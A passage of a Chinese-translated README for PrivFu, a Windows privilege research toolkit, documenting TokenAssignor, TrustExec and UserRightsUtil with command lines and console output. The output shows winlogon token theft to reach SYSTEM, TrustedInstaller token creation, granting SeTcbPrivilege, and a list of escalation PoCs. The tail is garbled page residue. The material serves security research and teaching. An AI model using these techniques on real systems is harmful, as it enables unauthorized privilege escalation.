Group Name                             Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone                               Mandatory, EnabledByDefault, Enabled
BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack                   EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL                                  Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                 EnabledByDefault, Enabled, Owner


DACL INFORMATION
----------------

Account Name         Access      Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM  GenericAll  None  AccessAllowed
OWNER RIGHTS         ReadControl None  AccessAllowed
NT SERVICE\DiagTrack GenericAll  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000047
        Value[0x01] : 0x000000000002C0FA

[*] Done.

## TokenAssignor

[返回顶部](#privfu)

[项目](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)

此工具用于学习如何分配主令牌：```
PS C:\Dev> .\TokenAssignor.exe

TokenAssignor - Tool to execute token assigned process.

Usage: TokenAssignor.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies a command to execute. Default is cmd.exe.
        -m, --method  : Specifies a method ID (0 - 3).
        -p, --pid     : Specifies a source PID for token stealing.

[!] -m option is required.

该工具尝试从指定进程中窃取令牌，并执行一个令牌分配的进程。大多数方法需要管理员权限。要使用 CreateProcessAsUser API 执行令牌分配的进程，请将 -m 选项设置为 0：``` PS C:\Dev> Get-Process winlogon

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

270      13     2452      10108       0.33    688   1 winlogon

PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 0

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x68). [+] Got a impersonation token from winlogon.exe (Handle = 0x2E0). [+] Impersonation as winlogon.exe is successful. [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9552). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18). Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

当设置 `-m` 选项为 `1` 时，此工具尝试创建一个挂起进程，并将主令牌更新为窃取的令牌。  
由于内核限制，此方法不能用于更改会话 ID。  
内核强制令牌的会话 ID 与 `_EPROCESS` 的会话 ID 匹配：```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1

[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

如果设置 -m 选项为 2，则会使用 Secondary Logon Service 创建一个新令牌分配的进程：``` PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 2

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x2C4). [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 5832). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

如果设置 `-m` 选项为 `3`，则创建一个带有 PPID 欺骗方法的新令牌分配进程：```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3

[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

TrustExec

返回顶部

项目

此工具用于以 NT SERVICE\TrustedInstaller 组账户身份执行进程。原始 PoC 是 Grzegorz Tworek 的 TrustedInstallerCmd2.c。我将其移植到 C# 并重建为一个工具。大多数操作需要管理权限（SeDebugPrivilege、SeImpersonatePrivilege 和高强制级别）：``` PS C:\Dev> .\TrustExec.exe

TrustExec - Tool to create TrustedInstaller process.

Usage: TrustExec.exe [Options]

    -h, --help        : Displays this help message.
    -l, --lookup      : Flag to lookup account name or SID.
    -n, --new-console : Flag to create new console. Use with -x flag.
    -x, --exec        : Flag to execute command.
    -a, --account     : Specifies account name to lookup.
    -c, --command     : Specifies command to execute. Default is cmd.exe.
    -e, --extra       : Specifies command to execute. Default is cmd.exe.
    -m, --method      : Specifies method ID. Default is 0 (NtCreateToken method).
    -s, --sid         : Specifies SID to lookup.

Available Method IDs:

    + 0 - Leverages NtCreateToken syscall.
    + 1 - Leverages virtual logon.
    + 2 - Leverages service logon.
    + 3 - Leverages S4U logon.
    + 4 - Leverages TrustedInstaller service.

对于此模块，实现了2种技术。
我们可以通过 `-m` 选项指定一个方法。
`-m` 选项的值可以是 `0` 到 `4` 之间的整数。
例如，如果您将 `-m` 选项设置为 `0`，此工具将尝试使用 `NtCreateToken` 获取 `TrustedInstaller` 令牌：```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeSyncAgentPrivilege                      Synchronize directory service data                                 Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                            Attributes
====================================== ================ ============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                        Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                   Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                   Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384

如果您想创建带有新控制台的进程，请按如下方式设置 -n 标志：``` PS C:\Dev> .\TrustExec.exe -m 1 -x -c powershell -n

[*] Virtual logon method is selected. [+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Impersonation as smss.exe is successful. [+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread. [+] SeImpersonatePrivilege is enabled successfully for current thread. [+] SeTcbPrivilege is enabled successfully for current thread. [+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110). [+] A virtual account VirtualDomain\VirtualAdmin is created successfully (SID: S-1-5-110-500). [+] Got a virtual logon token (Handle = 0xEC). [+] Got a token assigned process (PID: 23836). [+] VirtualDomain domain is removed successfully.

每个 TrustedInstaller 服务方法（`-m` 选项的 ID 为 `4`）以外的方法都可以使用 `-e` 选项接受额外的组 SID。
`-e` 选项的值格式必须是 SDDL SID 字符串。
对于 SID 字符串分隔符，您可以使用逗号，如下所示：```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                             Attributes
====================================== ================ =============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551                                                    Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                    Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464  Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                    
NT SERVICE\WinDefend                   Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group

要解析帐户 SID，请设置 -l 标志并使用 -a 选项指定帐户名称如下：``` PS C:\Dev> .\TrustExec.exe -l -a "nt service\windefend"

[] Account Name : NT SERVICE\WinDefend [] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

PS C:\Dev> .\TrustExec.exe -l -a users

[] Account Name : BUILTIN\Users [] Account SID : S-1-5-32-545 [*] Account Type : Alias

## UserRightsUtil

[返回顶部](#privfu)

[项目](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)

此工具用于在不使用 `secpol.msc` 的情况下管理用户权限。除 `lookup` 之外的命令需要管理员权限：```
C:\dev>UserRightsUtil.exe

UserRightsUtil - User rights management utility.

Usage: UserRightsUtil.exe [Options]

        -h, --help   : Displays this help message.
        -m, --module : Specifies module name.

Available Modules:

        + enum   - Enumerate user rights for specific account.
        + find   - Find accounts have a specific user right.
        + lookup - Lookup account's SID.
        + manage - Grant or revoke user rights.

[*] To see help for each modules, specify "-m <Module> -h" as arguments.

[!] -m option is required.

enum 模块

要枚举特定账户的用户权限，请使用带有 -u 和 ~d~ 选项或 -s 选项的 enum 命令，如下所示：``` C:\dev>UserRightsUtil.exe -m enum -d contoso -u jeff

C:\dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105

如果未使用 `-d` 选项指定域名，则将使用本地计算机名称作为域名：```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m enum -u guest

[>] Trying to enumerate user rights.
    |-> Username : CL01\Guest
    |-> SID      : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
    |-> SeInteractiveLogonRight
    |-> SeDenyInteractiveLogonRight
    |-> SeDenyNetworkLogonRight
[*] Done.

find Module

此命令用于查找具有特定权限的用户。例如，如果您想查找具有 SeDebugPrivilege 权限的用户，请执行以下命令：``` C:\dev>UserRightsUtil.exe -m find -r debug

[>] Trying to find users with SeDebugPrivilege. [+] Found 1 user(s). |-> BUILTIN\Administrators (SID : S-1-5-32-544, Type : SidTypeAlias) [*] Done.

要列出 `-r` 选项的可用值，请使用 `-l` 选项：```
C:\dev>UserRightsUtil.exe -m find -l

Available values for --right option:
        + TrustedCredManAccess           : Specfies SeTrustedCredManAccessPrivilege.
        + NetworkLogon                   : Specfies SeNetworkLogonRight.
        + Tcb                            : Specfies SeTcbPrivilege.
        + MachineAccount                 : Specfies SeMachineAccountPrivilege.
        + IncreaseQuota                  : Specfies SeIncreaseQuotaPrivilege.
        + InteractiveLogon               : Specfies SeInteractiveLogonRight.
        + RemoteInteractiveLogon         : Specfies SeRemoteInteractiveLogonRight.
        + Backup                         : Specfies SeBackupPrivilege.

--snip--

lookup 模块

此命令用于查询账户 SID，如下所示：``` C:\dev>UserRightsUtil.exe -m lookup -d contoso -u david

[*] Result: |-> Account Name : CONTOSO\david |-> SID : S-1-5-21-3654360273-254804765-2004310818-1104 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500

[*] Result: |-> Account Name : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"

[*] Result: |-> Account Name : CONTOSO\Domain Admins |-> SID : S-1-5-21-3654360273-254804765-2004310818-512 |-> Account Type : SidTypeGroup

如果你没有使用 `-d` 选项指定域名，则使用本地计算机名作为域名：```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m lookup -u admin

[*] Result:
    |-> Account Name : CL01\admin
    |-> SID          : S-1-5-21-2659926013-4203293582-4033841475-500
    |-> Account Type : SidTypeUser

管理模块

此命令用于授予或撤销特定用户帐户的用户权限。要授予用户权限，请将用户权限指定为 -g 选项的值：``` C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [-] No users. [*] Done.

C:\dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator

[>] Target account information: |-> Username : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 [>] Trying to grant SeTcbPrivilege. [+] SeTcbPrivilege is granted successfully.

C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [+] Found 1 user(s). |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser) [*] Done.

要撤销用户权限，请将一个用户权限指定为 `-r` 选项的值：```
C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
    |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.


C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator

[>] Target account information:
    |-> Username : CONTOSO\Administrator
    |-> SID      : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.

C:\de>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.

要列出 -g 或 -r 选项的可用值，请使用 -l 选项：``` C:\dev>UserRightsUtil.exe -m manage -l

Available values for --grant and --revoke options: + TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege. + NetworkLogon : Specfies SeNetworkLogonRight. + Tcb : Specfies SeTcbPrivilege. + MachineAccount : Specfies SeMachineAccountPrivilege. + IncreaseQuota : Specfies SeIncreaseQuotaPrivilege. + InteractiveLogon : Specfies SeInteractiveLogonRight. + RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight. + Backup : Specfies SeBackupPrivilege.

--snip--

## 参考

[回到顶部](#privfu)

- [Priv2Admin](https://github.com/gtworek/Priv2Admin) 和 [PSBits](https://github.com/gtworek/PSBits) 由 [Grzegorz Tworek](https://twitter.com/0gtweet) 提供
- [滥用令牌特权实现本地权限提升](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) 由 [Bryan Alexander](https://twitter.com/dronesec) 和 [Steve Breen](https://twitter.com/breenmachine) 提供
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) 由 [Andrea Pierini](https://twitter.com/decoder_it) 提供
- [HackSys 极端脆弱驱动程序](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) 由 [Ashfaq Ansari](https://twitter.com/hacksysteam) 提供


## 致谢

[回到顶部](#privfu)

感谢您关于 WinDbg 扩展编程的建议：

- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon)) 

感谢您的杰出研究：

- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))

感谢您发布的内核驱动程序示例：

- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))

CreateAssignTokenVariant	该 PoC 利用 `SeCreateTokenPrivilege` 和 `SeAssignPrimaryTokenPrivilege` 实现权限提升 (EoP)。
CreateImpersonateTokenVariant	该 PoC 利用 `SeCreateTokenPrivilege` 和 `SeImpersonatePrivilege` 实现权限提升 (EoP)。
CreateTokenVariant	该 PoC 仅利用 `SeCreateTokenPrivilege` 实现权限提升 (EoP)。
DebugInjectionVariant	该 PoC 利用 `SeDebugPrivilege` 实现权限提升 (EoP)。最后阶段使用代码注入到 winlogon.exe。
DebugUpdateProcVariant	该 PoC 利用 `SeDebugPrivilege` 实现权限提升 (EoP)。最后阶段通过 `UpdateProcThreadAttribute` API 从 winlogon.exe 创建 SYSTEM 进程。
RestoreServiceModificationVariant	该 PoC 利用 `SeRestorePrivilege` 实现权限提升 (EoP)。需与 HijackShellLib 一起使用。
SecondaryLogonVariant	该 PoC 利用 `SeCreateTokenPrivilege` 和 `SeImpersonatePrivilege` 实现权限提升 (EoP)。最后阶段使用辅助登录服务。
TakeOwnershipServiceModificationVariant	该 PoC 利用 `SeTakeOwnershipPrivilege` 实现权限提升 (EoP)。需与 HijackShellLib 一起使用。
TcbS4uAssignTokenVariant	该 PoC 利用 `SeTcbPrivilege` 实现权限提升 (EoP)。从中等完整性级别获取系统强制级别 shell。
TcbS4uImpersonationVariant	该 PoC 利用 `SeTcbPrivilege` 实现权限提升 (EoP)。通过 S4U 登录执行线程模拟。不会获取高或系统完整性级别。

PrivFu

最受欢迎

PrivFu

目录

ArtsOfGetSystem

KernelWritePoCs

PrivEditor

getpriv 命令

addpriv Command

enablepriv Command

USER INFORMATION

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups GROUP INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

USER INFORMATION

USER INFORMATION

USER INFORMATION

USER INFORMATION

TrustExec

enum 模块

find Module

lookup 模块

管理模块

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION